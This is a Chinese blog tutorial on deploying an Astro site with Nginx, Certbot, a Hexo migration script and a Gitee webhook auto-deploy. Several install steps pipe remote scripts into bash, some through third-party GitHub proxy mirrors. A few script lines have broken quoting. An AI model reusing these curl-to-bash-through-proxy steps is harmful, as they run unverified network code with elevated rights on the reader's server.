服务器 on 静静的安全笔记

Astro博客部署在服务器上并设置自动hook

Sat, 13 Dec 2025 11:37:55 +0000

将 Astro 博客部署到云服务器上有完全的控制权。以下是详细步骤：

1. 服务器环境准备

登录服务器并更新系统

用的是Ubuntu-24.04.1-x64

ssh username@your-server-ip
c

安装必要软件

# 安装 Node.js（推荐用 nvm 避免权限问题）
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
# 掉线的话用镜像
curl -o- https://gh-proxy.org/https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash

# 重新加载 bash
source ~/.bashrc

# 安装 Node.js LTS
# 如果安装慢用镜像
export NVM_NODEJS_ORG_MIRROR=https://npmmirror.com/mirrors/node
nvm install --lts
nvm use --lts

# 验证安装
node --version
npm --version

2. 安装 Nginx（Web服务器）

sudo apt install nginx -y
sudo systemctl start nginx
sudo systemctl enable nginx

3. 安装pnpm

npm install -g pnpm

4. 在服务器上创建 Astro 项目

cd /var/www
pnpm create astro@latest --template uxiaohan/vhAstro-Theme astro-blog
cd astro-blog
npm install
npm run build

5. 配置 Nginx

# 创建 Nginx 配置文件
sudo vim /etc/nginx/sites-available/astro-blog

基本配置示例

server {
 listen 80;
 listen [::]:80;
 
 # 你的域名或服务器IP
 # server_name your-domain.com www.your-domain.com;
 # 如果只有 IP，用：
 # server_name your-server-ip;
 
 root /var/www/astro-blog/dist/;
 index index.html;
 
 # 启用 gzip 压缩
 gzip on;
 gzip_vary on;
 gzip_min_length 1024;
 gzip_proxied any;
 gzip_comp_level 6;
 gzip_types
 text/plain
 text/css
 text/xml
 text/javascript
 application/javascript
 application/xml+rss
 application/atom+xml
 image/svg+xml;
 
 location / {
 try_files $uri $uri/ $uri.html =404;
 }
 
 # 缓存静态资源
 location ~* \.(jpg|jpeg|png|gif|ico|css|js|svg)$ {
 expires 1y;
 add_header Cache-Control "public, immutable";
 }
 
 # 防止访问 .astro 等隐藏文件
 location ~ /\. {
 deny all;
 }
}

启用网站配置

# 创建符号链接
sudo ln -s /etc/nginx/sites-available/astro-blog /etc/nginx/sites-enabled/

# 测试配置
sudo nginx -t

# 重启 Nginx
sudo systemctl restart nginx

到这里就创建了默认的blog主题的，如果用了主题的就是主题的主页面，然后把md文章丢src下面对应的目录就行。

迁移Hexo文章到Astro

在原本的Hexo文件夹下运行下面的代码，需要安装依赖

1pip install python-frontmatter pyyaml -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple

下面这个脚本实现替换文件头的功能，可能个别文章还是需要手动替换，不过这个已经很好了。

 1import os
 2import re
 3import datetime
 4import frontmatter
 5import yaml
 6
 7def convert_hexo_to_astro(file_path):
 8 try:
 9 with open(file_path, 'r', encoding='utf-8') as f:
 10 content = f.read()
 11 
 12 # 检查文件是否已经有 Astro 格式的前言
 13 if 'id:' in content and 'recommend:' in content:
 14 print(f"跳过已转换的文件: {file_path}")
 15 return
 16 
 17 # 解析原 frontmatter
 18 post = frontmatter.loads(content)
 19 
 20 # 生成英文 ID（基于标题）
 21 title = post.get('title', '未命名文章')
 22 # 移除特殊字符，保留中文字符
 23 id_str = re.sub(r'[^\w\u4e00-\u9fff\s-]', '', str(title))
 24 id_str = re.sub(r'\s+', '-', id_str) # 空格转横线
 25 id_str = id_str.lower().strip('-')[:50] # 转为小写并截断
 26 
 27 # 如果 ID 为空，使用文件名
 28 if not id_str:
 29 filename = os.path.basename(file_path).replace('.md', '')
 30 id_str = re.sub(r'[^\w\s-]', '', filename)
 31 id_str = re.sub(r'\s+', '-', id_str).lower()[:50]
 32 
 33 # 转换日期格式
 34 if 'date' in post:
 35 if isinstance(post['date'], datetime.datetime):
 36 post['date'] = post['date'].isoformat()
 37 elif isinstance(post['date'], str):
 38 # 尝试多种日期格式
 39 date_formats = [
 40 '%Y-%m-%d %H:%M:%S',
 41 '%Y-%m-%d %H:%M',
 42 '%Y-%m-%d',
 43 '%Y/%m/%d %H:%M:%S',
 44 '%Y/%m/%d'
 45 ]
 46 for fmt in date_formats:
 47 try:
 48 dt = datetime.datetime.strptime(post['date'], fmt)
 49 post['date'] = dt.isoformat()
 50 break
 51 except ValueError:
 52 continue
 53 else:
 54 # 如果所有格式都失败，使用当前时间
 55 post['date'] = datetime.datetime.now().isoformat()
 56 
 57 # 转换分类格式
 58 if 'categories' in post:
 59 if isinstance(post['categories'], list):
 60 # 如果是列表，转换为逗号分隔的字符串
 61 post['categories'] = ",".join([str(c) for c in post['categories']])
 62 elif not isinstance(post['categories'], str):
 63 # 如果不是字符串，转换为字符串
 64 post['categories'] = str(post['categories'])
 65 else:
 66 # 如果没有分类，设置为默认值
 67 post['categories'] = "未分类"
 68 
 69 # 确保标签是列表格式
 70 if 'tags' in post:
 71 if isinstance(post['tags'], str):
 72 # 如果是字符串，尝试按逗号分割
 73 post['tags'] = [tag.strip() for tag in post['tags'].split(',')]
 74 elif not isinstance(post['tags'], list):
 75 # 如果不是列表，转换为列表
 76 post['tags'] = [str(post['tags'])]
 77 else:
 78 # 如果没有标签，设置为空列表
 79 post['tags'] = []
 80 
 81 # 添加必填字段（如果不存在）
 82 if 'id' not in post:
 83 post['id'] = id_str
 84 
 85 if 'recommend' not in post:
 86 post['recommend'] = False
 87 
 88 if 'top' not in post:
 89 post['top'] = False
 90 
 91 if 'hide' not in post:
 92 post['hide'] = False
 93 
 94 # 确保封面图字段存在
 95 if 'cover' not in post:
 96 post['cover'] = ""
 97 
 98 # 保存新格式
 99 new_content = frontmatter.dumps(post)
100 
101 # 写入文件
102 with open(file_path, 'w', encoding='utf-8', newline='\n') as f:
103 f.write(new_content)
104 
105 print(f"成功转换: {file_path}")
106 
107 except yaml.YAMLError as e:
108 print(f"YAML 解析错误 {file_path}: {e}")
109 # 尝试手动修复格式
110 manual_fix_yaml(file_path)
111 except Exception as e:
112 print(f"处理文件 {file_path} 时出错: {e}")
113
114def manual_fix_yaml(file_path):
115 """手动修复 YAML 格式错误"""
116 try:
117 with open(file_path, 'r', encoding='utf-8') as f:
118 content = f.read()
119 
120 # 提取前言部分
121 parts = content.split('---', 2)
122 if len(parts) < 3:
123 print(f"无法解析文件格式: {file_path}")
124 return
125 
126 frontmatter_text = parts[1]
127 body = parts[2]
128 
129 # 简单的 YAML 修复
130 # 1. 确保键值对格式正确
131 lines = frontmatter_text.split('\n')
132 fixed_lines = []
133 
134 for line in lines:
135 line = line.strip()
136 if not line:
137 continue
138 
139 # 处理键值对
140 if ':' in line:
141 key, value = line.split(':', 1)
142 key = key.strip()
143 value = value.strip()
144 
145 # 确保值有引号（如果包含特殊字符）
146 if value and not (value.startswith('"') and value.endswith('"')):
147 if any(char in value for char in '[]{}:,'):
148 value = f'"{value}"'
149 
150 fixed_lines.append(f"{key}: {value}")
151 else:
152 # 处理列表项
153 if line.startswith('-'):
154 fixed_lines.append(f" {line}")
155 else:
156 fixed_lines.append(line)
157 
158 # 重新构建前言
159 fixed_frontmatter = '\n'.join(fixed_lines)
160 new_content = f"---\n{fixed_frontmatter}\n---\n{body}"
161 
162 with open(file_path, 'w', encoding='utf-8', newline='\n') as f:
163 f.write(new_content)
164 
165 print(f"已尝试手动修复: {file_path}")
166 
167 # 重新尝试转换
168 convert_hexo_to_astro(file_path)
169 
170 except Exception as e:
171 print(f"手动修复失败 {file_path}: {e}")
172
173def backup_files(directory):
174 """备份原始文件"""
175 import shutil
176 import time
177 
178 backup_dir = f"{directory}_backup_{int(time.time())}"
179 shutil.copytree(directory, backup_dir)
180 print(f"已创建备份: {backup_dir}")
181 return backup_dir
182
183# 主程序
184if __name__ == "__main__":
185 blog_dir = './'
186 
187 # 检查目录是否存在
188 if not os.path.exists(blog_dir):
189 print(f"目录不存在: {blog_dir}")
190 exit(1)
191 
192 # 备份原始文件
193 backup_path = backup_files(blog_dir)
194 print(f"原始文件已备份到: {backup_path}")
195 
196 # 遍历目录转换所有文件
197 converted_count = 0
198 error_count = 0
199 
200 for root, dirs, files in os.walk(blog_dir):
201 for file in files:
202 if file.endswith('.md'):
203 file_path = os.path.join(root, file)
204 try:
205 convert_hexo_to_astro(file_path)
206 converted_count += 1
207 except Exception as e:
208 print(f"处理文件 {file_path} 时发生严重错误: {e}")
209 error_count += 1
210 
211 print(f"\n转换完成!")
212 print(f"成功转换: {converted_count} 个文件")
213 print(f"转换失败: {error_count} 个文件")
214 print(f"原始文件备份在: {backup_path}")

然后运行一下下面的命令，删除某些不规范的代码块语法。

 1# C → c
 2find src/content/blog/ \( -name "*.md" -o -name "*.mdx" \) | while read -r file; do
 3 sed -i 's/```C$/```c/g' "$file"
 4done
 5
 6# mysql → sql
 7find src/content/blog/ \( -name "*.md" -o -name "*.mdx" \) | while read -r file; do
 8 sed -i 's/```mysql$/```sql/g' "$file"
 9done
10
11# url → plaintext
12find src/content/blog/ \( -name "*.md" -o -name "*.mdx" \) | while read -r file; do
13 sed -i 's/```url$/```plaintext/g' "$file"
14done

marmaid支持

添加 Mermaid 支持。导入了 mermaid，添加到 integrations 数组中。

 1//------其他部分
 2
 3import mermaid from 'astro-mermaid';
 4import { fileURLToPath } from 'url';
 5const __dirname = path.dirname(fileURLToPath(import.meta.url));
 6//------其他部分
 7 integrations: [
 8 swup({
 9 theme: false,
10 animationClass: "vh-animation-",
11 containers: [".main-inner>.main-inner-content", '.vh-header>.main'],
12 smoothScrolling: true,
13 progress: true,
14 cache: true,
15 preload: true,
16 accessibility: true,
17 updateHead: true,
18 updateBodyClass: false,
19 globalInstance: true
20 }),
21 
22 // 添加 Mermaid 支持
23 mermaid({
24 theme: 'default', // 或 'forest', 'dark', 'neutral' 等
25 }),
26 
27 //------其他部分
28 Compress({ Image: false, Action: { Passed: async () => true } }),
29 sitemap({
30 // 处理末尾带 / 的 url
31 serialize: (item) => ({ ...item, url: item.url.endsWith('/') ?

6. 使用 Let’s Encrypt 配置 HTTPS（可选但推荐）

1# 安装 Certbot
2sudo apt install certbot python3-certbot-nginx -y
3
4# 获取证书不要邮箱
5sudo certbot --nginx -d your-domain.com -d www.your-domain.com --register-unsafely-without-email --agree-tos
6
7# 设置自动续期
8sudo certbot renew --dry-run

7. 配置防火墙和设置专用用户

1# 如果使用 UFW
2sudo ufw allow 'Nginx Full'
3sudo ufw allow OpenSSH
4sudo ufw enable
5# 打开hook的端口
6sudo ufw allow 9000/tcp
7sudo ufw status

第1步：创建专用用户

1# 创建系统用户 blogdeploy（不创建家目录，不允许登录）
2sudo adduser --system --group blogdeploy
3
4# 验证用户创建成功
5id blogdeploy
6# 应该显示：uid=xxx(blogdeploy) gid=xxx(blogdeploy) groups=xxx(blogdeploy)

第2步：设置目录权限

 1# 将项目目录所有权给 blogdeploy
 2sudo chown -R blogdeploy:blogdeploy /var/www/astro-blog
 3
 4# 或者如果 pnpm 装在其他地方
 5which pnpm # 先查看 pnpm 位置
 6# 给 blogdeploy 用户访问 pnpm 的权限
 7sudo chown -R blogdeploy:blogdeploy /root/.local/share/pnpm
 8
 9
10# dist 目录特殊处理：让 www-data（Nginx用户）有读取权限
11sudo chown -R blogdeploy:www-data /var/www/astro-blog/dist
12sudo chmod -R 755 /var/www/astro-blog/dist

第3步：配置 blogdeploy 用户的 Git

 1# 直接在项目里配置（只对这个仓库生效）
 2cd /var/www/astro-blog
 3
 4sudo -u blogdeploy git config user.name "Blog Deploy"
 5sudo -u blogdeploy git config user.email "deploy@ruajingjing.top"
 6sudo -u blogdeploy git config --add safe.directory /var/www/astro-blog
 7
 8# 验证
 9sudo -u blogdeploy git config --list
10
11# 切换到 blogdeploy 用户（临时）
12sudo -u blogdeploy bash
13
14# 测试能否访问仓库
15cd /var/www/astro-blog
16git status
17git pull origin astro-blog
18
19# 退出 blogdeploy 用户
20exit

第4步：确保 blogdeploy 能使用 pnpm

 1echo "安装 nvm..."
 2# 通过 sudo -u 执行安装脚本
 3sudo -u blogdeploy bash << 'EOF'
 4# 下载并安装 nvm
 5curl -o- https://gh-proxy.org/https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
 6
 7# 设置 nvm 环境变量
 8export NVM_DIR="$HOME/.nvm"
 9[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
 10
 11# 安装 Node.js LTS
 12echo "安装 Node.js LTS 版本..."
 13nvm install --lts
 14nvm use --lts
 15
 16# 验证安装
 17echo "Node.js 版本:"
 18node --version
 19echo "npm 版本:"
 20npm --version
 21EOF
 22
 23# 4. 重新安装 pnpm（使用正确的方法）
 24echo "重新安装 pnpm..."
 25sudo -u blogdeploy bash << 'EOF'
 26# 加载 nvm
 27export NVM_DIR="$HOME/.nvm"
 28[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
 29
 30# 确保使用正确的 Node.js 版本
 31nvm use --lts
 32
 33# 卸载可能存在的问题 pnpm 安装
 34npm uninstall -g pnpm 2>/dev/null || true
 35
 36# 清除 npm 缓存
 37npm cache clean --force
 38
 39# 使用正确方法安装 pnpm
 40npm install -g pnpm --prefix=/home/blogdeploy/.npm-packages
 41
 42# 创建 pnpm 专用配置
 43mkdir -p ~/.pnpm
 44cat > ~/.pnpm/config.json << 'PNPM_CONFIG'
 45{
 46 "store-dir": "/home/blogdeploy/.pnpm-store",
 47 "global-dir": "/home/blogdeploy/.npm-packages/lib/node_modules"
 48}
 49PNPM_CONFIG
 50
 51# 设置 PATH（不修改 .bashrc，使用环境变量）
 52export PATH="/home/blogdeploy/.npm-packages/bin:$PATH"
 53
 54# 验证安装
 55echo "pnpm 版本:"
 56pnpm --version 2>/dev/null || echo "pnpm 未正确安装"
 57
 58echo "pnpm 存储路径:"
 59pnpm store path 2>/dev/null || echo "无法获取存储路径"
 60EOF
 61
 62# 5. 创建安全的部署环境配置
 63echo "创建部署环境配置..."
 64sudo -u blogdeploy bash << 'EOF'
 65# 创建部署脚本使用的环境文件
 66cat > ~/.blogdeploy.env << 'DEPLOY_ENV'
 67export NVM_DIR="/home/blogdeploy/.nvm"
 68[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
 69export PATH="/home/blogdeploy/.npm-packages/bin:$PATH"
 70DEPLOY_ENV
 71
 72echo "已创建部署环境配置文件"
 73EOF
 74
 75echo "=== 环境验证 ==="
 76
 77sudo -u blogdeploy bash << 'EOF'
 78echo "1. 用户: \"$USER
 79echo "2. 家目录: \"$HOME
 80echo ""
 81
 82echo "3. Node.js 版本:"
 83node --version 2>/dev/null || echo "未安装"
 84echo ""
 85
 86echo "4. npm 版本:"
 87npm --version 2>/dev/null || echo "未安装"
 88echo ""
 89
 90echo "5. pnpm 版本:"
 91pnpm --version 2>/dev/null || echo "未安装"
 92echo ""
 93
 94echo "6. pnpm 存储路径:"
 95pnpm store path 2>/dev/null || echo "无法获取"
 96echo ""
 97
 98echo "7. 当前 PATH:"
 99echo \$PATH
100EOF

如果遇到安装错误

 1# 检查用户当前的主目录
 2sudo grep blogdeploy /etc/passwd
 3
 4# 如果显示 /nonexistent，需要修改
 5sudo usermod -d /home/blogdeploy blogdeploy
 6
 7# 创建主目录
 8sudo mkdir -p /home/blogdeploy
 9sudo chown -R blogdeploy:blogdeploy /home/blogdeploy
10
11# 重新尝试安装
12sudo -u blogdeploy bash -c "curl -o- https://gh-proxy.com/https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash"

解决方案：

方案一：永久配置环境变量

# 1. 以 root 用户为 blogdeploy 配置环境
cat >> /home/blogdeploy/.bashrc << 'EOF'

# nvm 配置
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
[ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion"

# pnpm 配置
export PNPM_HOME="$HOME/.local/share/pnpm"
export PATH="$PNPM_HOME:$PATH"

# 自定义 npm 全局包路径
export PATH="$HOME/.npm-packages/bin:$PATH"
EOF

# 2. 同样添加到 .profile
cat >> /home/blogdeploy/.profile << 'EOF'

# nvm 配置
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"

# pnpm 配置
export PNPM_HOME="$HOME/.local/share/pnpm"
case ":$PATH:" in
 *":$PNPM_HOME:"*) ;;
 *) export PATH="$PNPM_HOME:$PATH" ;;
esac
EOF

# 3. 设置权限
chown blogdeploy:blogdeploy /home/blogdeploy/.bashrc /home/blogdeploy/.profile

方案二：安装 pnpm 到正确位置

 1# 1. 切换到 blogdeploy 用户配置
 2sudo -u blogdeploy bash << 'EOF'
 3# 加载 nvm
 4export NVM_DIR="$HOME/.nvm"
 5[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
 6
 7# 安装 pnpm（使用 npm 安装到全局）
 8npm install -g pnpm
 9
10# 验证 pnpm 安装
11pnpm --version
12
13# 配置 pnpm 存储路径
14pnpm config set store-dir ~/.pnpm-store
15EOF
16
17# 2. 现在应该可以正常使用了
18sudo -u blogdeploy bash -c "source ~/.bashrc && cd /var/www/astro-blog && pnpm build"

第5步：测试完整部署流程

1# 以 blogdeploy 用户身份测试部署
2sudo -u blogdeploy bash -c "cd /var/www/astro-blog && git pull origin astro-blog && pnpm install && pnpm build"
3
4cd /var/www/astro-blog
5sudo -u blogdeploy git remote set-url origin https://gitee.com/xxx/my-blog.git
6sudo -u blogdeploy git pull origin astro-blog
7
8# 检查是否成功
9ls -la /var/www/astro-blog/dist

第6步：验证权限

 1# 检查关键目录权限
 2ls -la /var/www/astro-blog
 3# 应该显示 blogdeploy blogdeploy
 4
 5ls -la /var/www/astro-blog/dist
 6# 应该显示 blogdeploy www-data 或 www-data www-data
 7
 8# 检查 Nginx 能否读取
 9sudo -u www-data cat /var/www/astro-blog/dist/index.html
10# 应该能正常显示内容

常见问题排查

如果遇到权限错误

1# 重新设置权限
2sudo chown -R blogdeploy:blogdeploy /var/www/astro-blog
3sudo chown -R blogdeploy:www-data /var/www/astro-blog/dist
4sudo chmod -R 755 /var/www/astro-blog

如果 Git 报错

1# 设置 Git 安全目录
2sudo -u blogdeploy git config --global --add safe.directory /var/www/astro-blog

如果 pnpm 找不到

1# 检查 pnpm 路径
2which pnpm
3
4# 如果在 /root/.local/share/pnpm，需要创建链接或重装

8. 切换git分支迁移

1. 初始化并关联远程仓库

 1cd /var/www/astro-blog
 2
 3# 如果还没初始化 git
 4git init
 5
 6# 添加 Gitee 远程仓库
 7git remote add origin https://xxxx.git
 8
 9# 查看远程仓库
10git remote -v

2. 创建新分支（推荐叫 astro）

1# 创建并切换到新分支
2git checkout -b astro

3. 添加 .gitignore

创建 .gitignore 文件，避免提交不必要的文件：

1nano .gitignore

粘贴以下内容：

# 依赖
node_modules/
.pnpm-store/

# 构建产物
dist/
.astro/

# 环境变量
.env
.env.local
.env.production

# 日志
npm-debug.log*
pnpm-debug.log*
yarn-debug.log*
yarn-error.log*

# 操作系统
.DS_Store
Thumbs.db

# 编辑器
.vscode/
.idea/
*.swp
*.swo
*~

# 临时文件
*.log
.cache/

4. 提交代码

 1# 添加所有文件
 2git add .
 3
 4# 查看状态
 5git status
 6
 7# 提交
 8git commit -m "feat: 迁移到 Astro 博客框架
 9
10- 使用 vhAstro-Theme 主题
11- 配置网站信息和备案
12- 添加 TOC 目录功能
13- 迁移所有文章内容"

5. 推送到 Gitee

1# 首次推送（会创建远程分支）
2git push -u origin astro
3
4# 如果需要输入用户名密码，使用 Gitee 账号

6. 如果推送失败（需要先拉取）

1# 拉取远程仓库
2git pull origin master --allow-unrelated-histories
3
4# 然后再推送
5git push -u origin astro

后续更新流程

以后更新博客：

1# 添加修改
2git add .
3
4# 提交
5git commit -m "update: 更新内容描述"
6
7# 推送
8git push

如果想保留 Hexo 分支

1# 查看所有分支
2git branch -a
3
4# master 分支保留 Hexo 内容
5# astro 分支是新的 Astro 博客

配置 Git 用户信息（如果还没配置）

1git config --global user.name "你的名字"
2git config --global user.email "your-email@example.com"

常见问题

如果提示认证失败

Gitee 可能需要使用个人访问令牌：

访问：https://gitee.com/profile/personal_access_tokens
生成新令牌
使用令牌作为密码

或者配置 SSH：

1# 生成 SSH 密钥
2ssh-keygen -t rsa -C "your-email@example.com"
3
4# 查看公钥
5cat ~/.ssh/id_rsa.pub
6
7# 复制公钥，添加到 Gitee SSH 设置

然后改用 SSH 地址：

1git remote set-url origin git@gitee.com:xxx.git

验证步骤

执行每步后检查：

 1# 1. 查看当前分支
 2git branch
 3
 4# 2. 查看远程仓库
 5git remote -v
 6
 7# 3. 查看提交历史
 8git log --oneline
 9
10# 4. 查看状态
11git status

9. 使用 Git 自动化部署（推荐）

完美！✅ 现在继续配置 Webhook。

第1步：安装 webhook 工具

1sudo apt update
2sudo apt install webhook -y
3
4# 验证安装
5webhook --version

第2步：生成强密钥

1# 生成一个强密钥用于 Webhook 验证
2openssl rand -hex 32
3
4# 记下这个密钥，例如：
5# a8f5e2c9d3b7f1e4a6c8d9e2f3a1b5c7d4e6f8a1b2c3d4e5f6a7b8c9d0e1f2a3

把生成的密钥保存好，待会要用。

第3步：创建部署脚本

1# 创建脚本目录
2sudo mkdir -p /var/www/deploy-scripts
3
4# 创建部署脚本
5sudo vim /var/www/deploy-scripts/deploy-blog.sh

粘贴以下内容：

 1#!/bin/bash
 2
 3# 日志文件
 4LOG_FILE="/var/log/astro-blog-deploy.log"
 5REPO_DIR="/var/www/astro-blog"
 6
 7# 记录开始
 8echo "========================================" >> $LOG_FILE
 9echo "部署开始: $(date)" >> $LOG_FILE
10echo "触发者: Gitee Webhook" >> $LOG_FILE
11
12# 切换到项目目录
13cd $REPO_DIR || {
14 echo "ERROR: 无法进入项目目录" >> $LOG_FILE
15 exit 1
16}
17
18# 验证 Git 仓库完整性
19echo "验证仓库完整性..." >> $LOG_FILE
20if ! git fsck --no-progress >> $LOG_FILE 2>&1; then
21 echo "ERROR: Git 仓库损坏，终止部署" >> $LOG_FILE
22 exit 1
23fi
24
25# 拉取代码
26echo "拉取代码..." >> $LOG_FILE
27git fetch origin astro-blog >> $LOG_FILE 2>&1
28git reset --hard origin/astro-blog >> $LOG_FILE 2>&1
29
30# 清理旧依赖
31echo "清理依赖..." >> $LOG_FILE
32rm -rf node_modules >> $LOG_FILE 2>&1
33
34# 安装依赖
35echo "安装依赖..." >> $LOG_FILE
36pnpm install --frozen-lockfile >> $LOG_FILE 2>&1
37
38# 审计依赖漏洞
39echo "审计依赖..." >> $LOG_FILE
40pnpm audit --audit-level=high >> $LOG_FILE 2>&1 || {
41 echo "WARNING: 发现高危漏洞" >> $LOG_FILE
42}
43
44# 构建
45echo "构建项目..." >> $LOG_FILE
46pnpm build >> $LOG_FILE 2>&1
47
48# 验证构建产物
49if [ ! -d "dist" ]; then
50 echo "ERROR: 构建失败，dist目录不存在" >> $LOG_FILE
51 exit 1
52fi
53
54# 设置正确的权限
55# chown -R blogdeploy:www-data dist/
56# chmod -R 755 dist/
57
58echo "部署成功: $(date)" >> $LOG_FILE
59echo "========================================" >> $LOG_FILE

保存后设置权限：

1# 给脚本执行权限
2sudo chmod +x /var/www/deploy-scripts/deploy-blog.sh
3
4# 设置所有者为 blogdeploy
5sudo chown blogdeploy:blogdeploy /var/www/deploy-scripts/deploy-blog.sh
6
7# 创建日志文件
8sudo touch /var/log/astro-blog-deploy.log
9sudo chown blogdeploy:blogdeploy /var/log/astro-blog-deploy.log

第4步：测试部署脚本

1# 以 blogdeploy 用户身份测试脚本
2sudo -u blogdeploy /var/www/deploy-scripts/deploy-blog.sh
3
4# 查看日志
5tail -30 /var/log/astro-blog-deploy.log

如果成功，会看到 “部署成功” 的消息。

如果解决构建错误

（Astro 想访问 /nonexistent/.config，但 blogdeploy 没有家目录）。

 1# 给 blogdeploy 创建配置目录
 2sudo mkdir -p /home/blogdeploy/.config
 3sudo chown -R blogdeploy:blogdeploy /home/blogdeploy
 4sudo usermod -d /home/blogdeploy blogdeploy
 5
 6# 或者禁用 Astro 遥测
 7cd /var/www/astro-blog
 8sudo -u blogdeploy npx astro telemetry disable
 9
10# 再次测试部署
11sudo -u blogdeploy /var/www/deploy-scripts/deploy-blog.sh

测试成功后继续！

为 blogdeploy 用户安装独立的 pnpm：

bash

 1# 1. 为 blogdeploy 创建 home 目录（如果还没有）
 2sudo mkdir -p /home/blogdeploy
 3sudo chown blogdeploy:blogdeploy /home/blogdeploy
 4
 5# 2. 切换到 blogdeploy 用户并安装 pnpm
 6sudo -u blogdeploy bash << 'EOF'
 7cd ~
 8curl -fsSL https://get.pnpm.io/install.sh | sh -
 9source ~/.bashrc
10pnpm --version
11EOF
12
13# 3. 验证 pnpm 可用
14sudo -u blogdeploy bash -c 'export PNPM_HOME="/home/blogdeploy/.local/share/pnpm"; export PATH="$PNPM_HOME:$PATH"; pnpm --version'
15
16# 4. 更新部署脚本（使用上面方案2的脚本内容）
17
18# 5. 修复 Git 警告
19sudo chown -R blogdeploy:blogdeploy /home/blogdeploy/.config
20
21# 6. 测试脚本
22sudo -u blogdeploy /var/www/deploy-scripts/deploy-blog-fast.sh
23
24# 7. 查看日志
25tail -30 /var/log/astro-blog-deploy.log
26
27# 8. 重启 webhook 服务
28sudo systemctl restart webhook

执行完这些步骤后，再推送一次代码测试。这次应该就能成功构建了！🚀

优化脚本（跳过依赖安装）

创建一个快速部署脚本：

1sudo vim /var/www/deploy-scripts/deploy-blog-fast.sh

 1#!/bin/bash
 2
 3# 设置完整的环境变量
 4export HOME=/home/blogdeploy
 5export NVM_DIR="$HOME/.nvm"
 6export PATH="$HOME/.npm-global/bin:$PATH"
 7
 8# 加载 nvm 环境
 9[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
10
11# 日志文件
12LOG_FILE="/var/log/astro-blog-deploy.log"
13REPO_DIR="/var/www/astro-blog"
14
15# 记录开始
16{
17echo "========================================"
18echo "快速部署开始: $(date)"
19echo "用户: $(whoami)"
20echo "HOME: $HOME"
21echo "PATH: $PATH"
22echo "NVM_DIR: $NVM_DIR"
23echo "Node版本: $(node --version 2>&1)"
24echo "npm版本: $(npm --version 2>&1)"
25echo "PNPM位置: $(which pnpm 2>&1)"
26echo "PNPM版本: $(pnpm --version 2>&1)"
27} >> $LOG_FILE 2>&1
28
29# 切换到项目目录
30cd $REPO_DIR || {
31 echo "ERROR: 无法进入项目目录 $REPO_DIR" >> $LOG_FILE
32 exit 1
33}
34
35# 拉取代码
36echo "拉取代码..." >> $LOG_FILE
37git fetch origin astro-blog >> $LOG_FILE 2>&1
38
39# 检查是否有更新
40LOCAL=$(git rev-parse HEAD 2>/dev/null)
41REMOTE=$(git rev-parse origin/astro-blog 2>/dev/null)
42
43if [ "$LOCAL" = "$REMOTE" ] && [ -n "$LOCAL" ]; then
44 echo "没有更新，跳过部署" >> $LOG_FILE
45 exit 0
46fi
47
48git reset --hard origin/astro-blog >> $LOG_FILE 2>&1
49
50# 清理旧的构建文件
51echo "清理旧构建..." >> $LOG_FILE
52rm -rf dist >> $LOG_FILE 2>&1
53
54echo "构建项目..." >> $LOG_FILE
55pnpm run build 2>&1 | tee -a $LOG_FILE
56
57# 验证构建产物
58if [ ! -d "dist" ]; then
59 echo "ERROR: 构建失败，dist 目录未生成" >> $LOG_FILE
60 echo "尝试使用完整构建命令..." >> $LOG_FILE
61 # 尝试使用 npx
62 npx astro build 2>&1 | tee -a $LOG_FILE
63fi
64
65# 再次验证
66if [ ! -d "dist" ]; then
67 echo "ERROR: 构建失败" >> $LOG_FILE
68 exit 1
69fi
70
71echo "构建成功!" >> $LOG_FILE
72echo "构建文件:" >> $LOG_FILE
73ls -la dist/ 2>&1 | head -10 >> $LOG_FILE
74
75echo "快速部署成功: $(date)" >> $LOG_FILE
76echo "========================================" >> $LOG_FILE

设置权限：

1sudo chmod +x /var/www/deploy-scripts/deploy-blog-fast.sh
2sudo chown blogdeploy:blogdeploy /var/www/deploy-scripts/deploy-blog-fast.sh

第5步：配置 Webhook

这里用的gitee的hook，每个代码仓库的hook规则可能不一样，需要翻看文档

1# 创建 webhook 配置文件
2sudo vim /etc/webhook.conf

粘贴（记得把密钥改成你自己的）：

 1[
 2 {
 3 "id": "deploy-blog",
 4 "execute-command": "/var/www/deploy-scripts/deploy-blog-fast.sh",
 5 "command-working-directory": "/var/www/astro-blog",
 6 "response-message": "正在部署博客，请稍候...",
 7 "trigger-rule": {
 8 "and": [
 9 {
10 "match": {
11 "type": "value",
12 "value": "你的密码",
13 "parameter": {
14 "source": "header",
15 "name": "X-Gitee-Token"
16 }
17 }
18 },
19 {
20 "match": {
21 "type": "value",
22 "value": "refs/heads/astro-blog",
23 "parameter": {
24 "source": "payload",
25 "name": "ref"
26 }
27 }
28 }
29 ]
30 }
31 }
32]

第6步：创建 Webhook systemd 服务

1sudo vim /etc/systemd/system/webhook.service

使用全局安装就不需要指定变量了

 1[Unit]
 2Description=Webhook Service for Blog Auto Deploy
 3After=network.target
 4
 5[Service]
 6Type=simple
 7User=blogdeploy
 8Group=blogdeploy
 9Environment="HOME=/home/blogdeploy"
10ExecStart=/usr/bin/webhook -hooks /etc/webhook.conf -verbose -port 9000
11Restart=always
12RestartSec=10
13
14# 安全限制
15NoNewPrivileges=true
16PrivateTmp=true
17ProtectSystem=strict
18ProtectHome=true
19ReadWritePaths=/var/www/astro-blog /var/log /home/blogdeploy
20
21[Install]
22WantedBy=multi-user.target

第7步：启动 Webhook 服务

 1# 重载 systemd
 2sudo systemctl daemon-reload
 3
 4# 启动服务
 5sudo systemctl start webhook
 6
 7# 设置开机自启
 8sudo systemctl enable webhook
 9
10# 查看状态
11sudo systemctl status webhook
12
13# 查看日志
14sudo journalctl -u webhook -f

